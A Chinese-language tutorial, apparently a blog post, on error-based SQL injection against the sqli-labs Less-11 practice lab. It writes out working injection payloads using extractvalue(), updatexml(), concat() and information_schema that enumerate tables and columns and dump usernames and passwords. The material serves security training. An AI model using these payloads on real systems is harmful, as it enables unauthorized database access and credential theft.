使用的软件:phpstudy(MySQL5.7.26,PHP5.3.29),sqli-labs靶场,Burp Suite,谷歌浏览器,win11
盲注就是在注入的过程中,获取的数据不能显示到前端页面,此时,我们需要利用一些方法进行判断或者尝试,我们称之为盲注,报错回显就是其中的一种
报错回显用到的函数
updatexml()
- 从目标XML中更改包含所查询值的字符串
- updatexml(XML_document,XPath_String,new_value);
- 第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
- 第二个参数:XPath_string(Xpath格式字符串)
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据
extractvalue()
- 从目标XML中返回包含所查询值的字符串
- extractvalue(XML_document,XPath_String)
- 第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
- 第二个参数:XPath_String (Xpath格式字符串)
靶场演练
演练靶场为sqli-labs/Less-11和extractvalue()函数为示范
第一步-判断使用单引号闭合还是双引号闭合
我们用符号('")来判断我们注入点的代码用什么符号闭合的,方便我们后续的注入
uname=zhangsan '" &passwd=123123&submit=Submit
第二步-猜解列名
猜解列名我们会用到函数order by,在函数后面填写数字来猜解列名
uname=zhangsan' order by 3 --+&passwd=123123&submit=Submit
第三步-用extractvalue()函数盲注
还记得上面讲过extractvalue()函数有两个参数,其中一个是XPath_String (Xpath格式字符串),但我们在基于报错SQL盲注的时候,把参数入XPath格式的地方输入别的格式的方式进行注入
uname=zhangsan' union select 1,extractvalue(1,(select version())) --+&passwd=123123&submit=Submit
但很显然版本没有完全展示出来,所以我们有用到另一个函数 concat()来让我们的信息显示全
uname=zhangsan' union select 1,extractvalue(1,concat(0x7e,(select version()))) --+&passwd=123123&submit=Submit
这里的0x7e是十六进制转换成十进制就是波浪号(~)
第四步-查找表名
这一步跟上一步一样在原本输入XPath格式的地方输入我们的SQL注入语句
uname=zhangsan' union select 1,extractvalue(1,concat(0x7e,(select(table_name)from information_schema.tables where table_schema=database()))) --+&passwd=123123&submit=Submit
但很显然这里显示数据在1行以上,所以我们有会用到另一个函数Limit
uname=zhangsan' union select 1,extractvalue(1,concat(0x7e,(select(table_name)from information_schema.tables where table_schema=database()limit 0,1),0x7e)) --+&passwd=123123&submit=Submit
limit后面的0,1表示,从下标0开始那一位数据,看后面的表名那就把0改成1,以此类推下标
第五步-查找表内字段
从上一个步中找到我们要查询的表(比如users表),在盲注查找表内的字段
uname=zhangsan' union select 1,extractvalue(1,concat(0x7e,(select(column_name)from information_schema.columns where table_name=0x7573657273 limit 0,1),0x7e)) --+&passwd=123123&submit=Submit
0x7573657273是十六进制改回来就是users,是因为有些注入点只支持十六进制
第六步-获取字段内数据
通过上一步我们可以获取到表里有那些字段,在通过这些字段获取字段内的数据
uname=zhangsan' union select 1,extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password)from users))) --+&passwd=123123&submit=Submit
补充
updatexml()函数
此函数的盲注方式跟extractvalue()函数一样,但就是多了一个参数而已
updatexml(XML_document,XPath_String,new_value);
uname=zhangsan' union select 1,updatexml(1,concat(0x7e,(select version())),1 ) --+&passwd=123123&submit=Submit
在原本第二参数的位置输入我们的SQL语句进行注入
注意:在第一 第二参数的位置的数字尽可能相同,不相同有时候会报错
or
我们也可以用or进行注入
'or updatexml(1,concat(0x7e,database()),0)or'
' or extractvalue(1,concat(0x7e,database())) or'
注意:最后的or后面必须要用引号结尾